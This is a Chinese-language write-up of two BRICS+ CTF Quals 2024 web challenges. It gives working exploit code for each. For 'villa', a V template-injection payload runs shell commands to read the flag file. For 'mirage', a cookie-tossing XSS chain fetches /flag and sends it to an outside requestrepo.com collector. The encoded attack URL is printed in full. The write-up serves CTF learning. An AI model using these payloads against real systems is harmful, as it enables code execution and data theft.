BRICS+ CTF Quals 2024

说在前面

去年我记得是9月这个比赛被举办,题目质量还是很好的,当时爆零了(比赛特别多,不愿意花时间在难的比赛上),5m当时做出了一个题,我说着要复现来着,竟然一直拖到了今天

1
docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)

villa

利用V语言开发的程序,扔进VSCODE看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!DOCTYPE html>
<html lang="en">
    <head>
        <title>King of the Villa</title>
        <meta charset="utf-8">
        <style>
            body {
                color: #223311;
                font-size: 3vh;
                font-weight: bolder;
                background: #009922;
            }
            h1 {
                font-size: 5vh;
                margin-left: 10vw;
            }
            span {
                color: #79573a;
                text-decoration: underline;
            }
            label, input, button {
                font-size: 4vh;
            }
        </style>
    </head>
    <body>
        <script>
function load() {
    return fetch('/villa', {
        method: 'GET',
        mode: 'no-cors',
    }).then(
        res => res.text()
    ).then(
        text => { 
            document.getElementById('villa').innerHTML = text;
            document.getElementById('villa').style.opacity = 1;
        }
    );
}

function update() {
    document.getElementById('villa').style.opacity = 0.5;

    return fetch('/villa', {
        method: 'POST',
        body: document.getElementById('owner').value,
        mode: 'no-cors',
    });
}

setInterval(load, 2000);
        </script>
        <div id="villa"></div>
        <label for="owner">your name: </label>
        <input type="text" placeholder="anonymous" id="owner">
        <button onclick="update()">send</button>
    </body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
module main

import os
import vweb

struct App {
	vweb.Context
}

@['/'; get; post]
fn (mut app App) index() vweb.Result {
	return $vweb.html()
}

@['/villa'; get; post]
fn (mut app App) villa() vweb.Result {
	if app.req.method == .post {
		os.write_file('villa.html', $tmpl('template.html')) or { panic(err) }
	}

	return $vweb.html()
}

fn main() {
	app := &App{}
	params := vweb.RunParams{
		port: 8080,
		nr_workers: 1,
    }

	vweb.run_at(app, params) or { panic(err) }
}

villa.htmltemplate.html都是一个房子没什么特殊的,就不放了,程序相当简单。唯一可以传参的地方就是/villaowner,会被直接填充进html,进行动态渲染,模版注入,@{1+1}尝试成功

1

并且发现回显其实是在/的,这里发现如果有命令执行函数的话会直接卡死不执行,换行绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time

url="http://localhost:8080/"

while True:
    try:
        data = "\n. '); C.system('cat /f* > villa.html'.str); println(' {\n"
        r = requests.post(url+"villa", data)
        print(r.text)

        response = requests.get(url)
        print(response.content)

        if b'flag' in response.content:
            break
    except Exception as e:
        print(e)

    time.sleep(2)

1

mirage

先修改一下Dockerfile避免内置Chrome发生错误

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt update \
    && apt install -yq gnupg2 curl sqlite3 socat xxd hashcash

# https://github.com/puppeteer/puppeteer/blob/main/docs/troubleshooting.md
RUN curl -fsSL https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
    && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
    && apt update \
    && apt install -yq --no-install-recommends gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libnss3 lsb-release xdg-utils \
    && rm -rf /var/lib/apt/lists/*

RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt install -y nodejs

RUN mkdir -p /nonexistent /tmp/mirage /tmp/bot \
    && chown nobody:nogroup /nonexistent /tmp/mirage /tmp/bot

ENV PUPPETEER_SKIP_DOWNLOAD=true

USER nobody:nogroup

WORKDIR /tmp/bot

RUN npm install puppeteer@22.3.0 \
    && npx puppeteer browsers install chrome@136.0.7103.49

WORKDIR /

USER root

RUN apt install -yq dotnet-sdk-8.0

COPY bot/bot.js /tmp/bot/

COPY mirage /tmp/mirage

COPY entrypoint.sh /entrypoint.sh

RUN chmod +x /entrypoint.sh

RUN mkdir -p /nonexistent/.cache/puppeteer \
    && chown -R nobody:nogroup /nonexistent/.cache
USER nobody:nogroup

CMD /entrypoint.sh
ENV PUPPETEER_EXECUTABLE_PATH=/nonexistent/.cache/puppeteer/chrome/linux-136.0.7103.49/chrome-linux64/chrome
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
const crypto = require("node:crypto");
const process = require('node:process');
const child_process = require('node:child_process');

const puppeteer = require("puppeteer");

const readline = require('readline').createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false,
});
readline.ask = str => new Promise(resolve => readline.question(str, resolve));

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

const TIMEOUT = process.env.TIMEOUT || 300 * 1000;
const MIRAGE_URL = process.env.MIRAGE_URL || 'http://localhost:8989/';

const POW_BITS = process.env.POW_BITS || 28;

async function pow() {
    const nonce = crypto.randomBytes(8).toString('hex');

    console.log('[*] Please solve PoW:');
    console.log(`hashcash -q -mb${POW_BITS} ${nonce}`);

    const answer = await readline.ask('> ');

    const check = child_process.spawnSync(
        '/usr/bin/hashcash',
        ['-q', '-f', '/tmp/bot/hashcash.sdb', `-cdb${POW_BITS}`, '-r', nonce, answer],
    );
    const correct = (check.status === 0);

    if (!correct) {
        console.log('[-] Incorrect.');
        process.exit(0);
    }

    console.log('[+] Correct.');
}

async function visit(url) {
    const params = {
        browser: 'chrome',
        args: [
            '--no-sandbox',
            '--disable-gpu',
            '--disable-extensions',
            '--js-flags=--jitless',
        ],
        headless: true,
    };

    const browser = await puppeteer.launch(params);
    const context = await browser.createBrowserContext();

    const pid = browser.process().pid;

    const shutdown = async () => {
        await context.close();
        await browser.close();

        try {
            process.kill(pid, 'SIGKILL');
        } catch(_) { }

        process.exit(0);
    };

    const page1 = await context.newPage();
    await page1.goto(`${MIRAGE_URL}admin`);

    await sleep(1000);
    await page1.close();

    setTimeout(() => shutdown(), TIMEOUT);

    const page2 = await context.newPage();
    await page2.goto(url);
}

async function main() {
    if (POW_BITS > 0) {
        await pow();
    }

    console.log('[?] Please input URL:');
    const url = await readline.ask('> ');

    if (!url.startsWith(MIRAGE_URL)) {
        console.log('[-] Access denied.');
        process.exit(0);
    }

    console.log('[+] OK.');

    readline.close()
    process.stdin.end();
    process.stdout.end();

    await visit(url);

    await sleep(TIMEOUT);
}

main();

bot和往日的没什么不同

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System.Net;
using System.Text;

namespace Mirage {
    public class Context {
        private readonly HttpListenerRequest request;
        private readonly HttpListenerResponse response;

        public Context(HttpListenerContext context) {
            request = context.Request;
            response = context.Response;
        }

        public HttpListenerRequest Request => request;
        public HttpListenerResponse Response => response;

        public async Task Result(string content) {
            var bytes = Encoding.UTF8.GetBytes(content);

            await response.OutputStream.WriteAsync(bytes);
            await response.OutputStream.DisposeAsync();
        }

        public string? GetCookie(string name) {
            return Request.Cookies[name]?.Value;
        }

        public void SetCookie(string name, string value) {
            Response.AddHeader("Set-Cookie", $"{name}={value}; HttpOnly; SameSite=Lax");
        }

        public string? GetHeader(string name) {
            return Request.Headers[name];
        }

        public void SetHeader(string name, string value) {
            Response.AddHeader(name, value);
        }
    }
}

简单的一层api,设置HttpOnly

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using Mirage;

var server = new Server()
    .AddPrefix("http://*:8989/")
    .AddMiddleware(async (ctx, next) => {
        if (ctx.GetCookie("session") != null) {
            ctx.SetHeader(
                "Cross-Origin-Resource-Policy", "same-origin"
            );
            ctx.SetHeader(
                "Content-Security-Policy", (
                    "sandbox allow-scripts allow-same-origin; " +
                    "base-uri 'none'; " +
                    "default-src 'none'; " +
                    "form-action 'none'; " +
                    "frame-ancestors 'none'; " +
                    "script-src 'unsafe-inline'; "
                )
            );
        }

        await next(ctx);
    })
    .DefineGet("/admin", async ctx => {
        ctx.SetCookie("session", "admin");

        await ctx.Result("good luck");
    })
    .DefineGet("/xss", async ctx => {
        var xss = ctx.Request.QueryString.Get("xss");

        await ctx.Result(xss ?? "what??");
    })
    .DefineGet("/flag", async ctx => {
        var flag = Environment.GetEnvironmentVariable("FLAG");

        await ctx.Result(flag ?? "flag{example_flag}");
    });

await server.Run();

Cross-Origin-Resource-Policy: same-origin - 限制资源只能被同源页面加载

Content-Security-Policy - 设置非常严格的内容安全策略,但允许内联脚本和同源操作

1

没做Cookie验证,访问就给,那我等会写个fetch你就知道错了

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
using System.Net;

namespace Mirage {
    using Handler = Func<Context, Task>;
    using Middleware = Func<Context, Func<Context, Task>, Task>;

    public class Server {
        public enum HttpMethod {
            Get,
            Post,
        };

        private readonly HttpListener listener;
        private readonly List<Middleware> middlewares;
        private readonly Dictionary<string, Dictionary<HttpMethod, Handler>> router;

        public Server() {
            listener = new HttpListener();
            middlewares = new List<Middleware>();
            router = new Dictionary<string, Dictionary<HttpMethod, Handler>>();
        }

        public Server AddPrefix(string prefix) {
            listener.Prefixes.Add(prefix);

            return this;
        }

        public Server AddMiddleware(Middleware middleware) {
            middlewares.Add(middleware);

            return this;
        }

        public Server DefineRoute(string path, HttpMethod method, Handler handler) {
            if (!router.ContainsKey(path)) {
                router.Add(path, new Dictionary<HttpMethod, Handler>());
            }

            router[path][method] = handler;

            return this;
        }

        public Server DefineGet(string path, Handler handler) {
            return DefineRoute(path, HttpMethod.Get, handler);
        }

        public Server DefinePost(string path, Handler handler) {
            return DefineRoute(path, HttpMethod.Post, handler);
        }

        public async Task Run(CancellationToken token) {
            listener.Start();

            while (!token.IsCancellationRequested) {
                var context = new Context(
                    await listener.GetContextAsync()
                );

                try {
                    await RouteRequest(context);
                } catch (Exception e) {
                    await context.Result(e.ToString());
                }
            }

            listener.Stop();
        }

        public Task Run() {
            return Run(CancellationToken.None);
        }

        private async Task RouteRequest(Context context) {
            var path = context.Request.Url?.AbsolutePath ?? "/";
            var method = ParseHttpMethod(context.Request.HttpMethod);

            if (!router.ContainsKey(path)) {
                throw new Exception("route not found");
            }

            var route = router[path];

            if (!route.ContainsKey(method)) {
                throw new Exception("method is not suported");
            }

            var handler = route[method];

            await CallMiddlewareChain(context, middlewares);

            await handler.Invoke(context);
        }

        private Task CallMiddlewareChain(Context context, IEnumerable<Middleware> middlewares) {
            var middleware = middlewares.FirstOrDefault();

            if (middleware == null) {
                return Task.CompletedTask;
            }

            return middleware.Invoke(
                context,
                ctx => CallMiddlewareChain(ctx, middlewares.Skip(1))
            );
        }

        private HttpMethod ParseHttpMethod(string method) {
            switch (method.ToLower()) {
                case "get":
                    return HttpMethod.Get;

                case "post":
                    return HttpMethod.Post;

                default:
                    throw new Exception("unknown method");
            }
        }
    }
}

正常的类似写了一个express,所以还是打XSS,利用二次编码进行绕过,污染Cookie之后让bot访问/flag获得flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

def escape(html: str) -> str:
    return ''.join('%' + hex(ord(x))[2:].zfill(2) for x in html)

url = 'http://localhost:8989'
report = 'https://ydpaegf3.requestrepo.com/'

step2 = f'''
<script>
    fetch('/flag')
        .then(x => x.text())
        .then(x => fetch('{report}?flag=' + encodeURIComponent(x)));
</script>
'''

step1 = f'''
<script>
    document.cookie = 'x="ss; Path=/xss';
    location.href = '/xss?xss={escape(step2)}';
</script>
'''

print(f'{url}/xss?xss={escape(step1)}')
1
http://localhost:8989/xss?xss=%0a%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20%3d%20%27%78%3d%22%73%73%3b%20%50%61%74%68%3d%2f%78%73%73%27%3b%0a%20%20%20%20%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%2f%78%73%73%3f%78%73%73%3d%25%30%61%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%36%36%25%36%35%25%37%34%25%36%33%25%36%38%25%32%38%25%32%37%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%65%25%37%34%25%36%38%25%36%35%25%36%65%25%32%38%25%37%38%25%32%30%25%33%64%25%33%65%25%32%30%25%37%38%25%32%65%25%37%34%25%36%35%25%37%38%25%37%34%25%32%38%25%32%39%25%32%39%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%65%25%37%34%25%36%38%25%36%35%25%36%65%25%32%38%25%37%38%25%32%30%25%33%64%25%33%65%25%32%30%25%36%36%25%36%35%25%37%34%25%36%33%25%36%38%25%32%38%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%37%39%25%36%34%25%37%30%25%36%31%25%36%35%25%36%37%25%36%36%25%33%33%25%32%65%25%37%32%25%36%35%25%37%31%25%37%35%25%36%35%25%37%33%25%37%34%25%37%32%25%36%35%25%37%30%25%36%66%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%33%66%25%36%36%25%36%63%25%36%31%25%36%37%25%33%64%25%32%37%25%32%30%25%32%62%25%32%30%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%35%35%25%35%32%25%34%39%25%34%33%25%36%66%25%36%64%25%37%30%25%36%66%25%36%65%25%36%35%25%36%65%25%37%34%25%32%38%25%37%38%25%32%39%25%32%39%25%32%39%25%33%62%25%30%61%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%30%61%27%3b%0a%3c%2f%73%63%72%69%70%74%3e%0a

1

终于收到了

赞赏支持

Licensed under CC BY-NC-SA 4.0